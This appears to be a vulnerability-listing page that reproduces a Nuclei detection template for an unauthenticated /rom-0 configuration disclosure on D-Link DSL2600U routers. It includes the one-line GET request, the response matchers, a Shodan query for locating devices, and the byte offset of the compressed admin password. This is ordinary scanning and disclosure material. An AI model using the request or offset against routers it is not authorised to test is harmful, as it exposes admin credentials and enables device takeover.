dlink-dsl2600u-rom0-disclosure: D-Link DSL2600U - Unauthenticated rom-0 Configuration Disclosure

2026-06-24 D-Link DSL2600U PoC Public

Description

Detected D-Link DSL2600U router was found to expose the /rom-0 binary configuration file without authentication. The file contains the admin password stored as LZS-compressed data at byte offset 8568 (0x2178) with no plaintext copy anywhere in the binary.

PoC

id: dlink-dsl2600u-rom0-disclosure

info:
  name: D-Link DSL2600U - Unauthenticated rom-0 Configuration Disclosure
  author: 0x_Akoko
  severity: high
  description: |
   Detected D-Link DSL2600U router was found to expose the /rom-0 binary configuration file without authentication. The file contains the admin password stored as LZS-compressed data at byte offset 8568 (0x2178) with no plaintext copy anywhere in the binary.
  reference:
    - https://cxsecurity.com/issue/WLB-2026060012
  metadata:
    verified: true
    max-request: 1
    vendor: d-link
    product: dsl-2600u
    shodan-query: DSL-2600U
    tags: dlink,router,misconfig,iot,unauth,disclosure

http:
  - raw:
      - |
        GET /rom-0 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "RomPager")'
          - 'contains(body, "Hdbgarea")'
          - 'content_length == 16384'
        condition: and
# digest: 4a0a004730450221009c2d50690706c096a540c7cb4f1116d63e712103ebb386df8244012594f2c135022065a6409669e611c46ccb049c63bdd6bb9bc74e95957f439085e36ef67d07cd70:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/misconfiguration/dlink-dsl2600u-rom0-disclosure.yaml

References

Related Vulnerabilities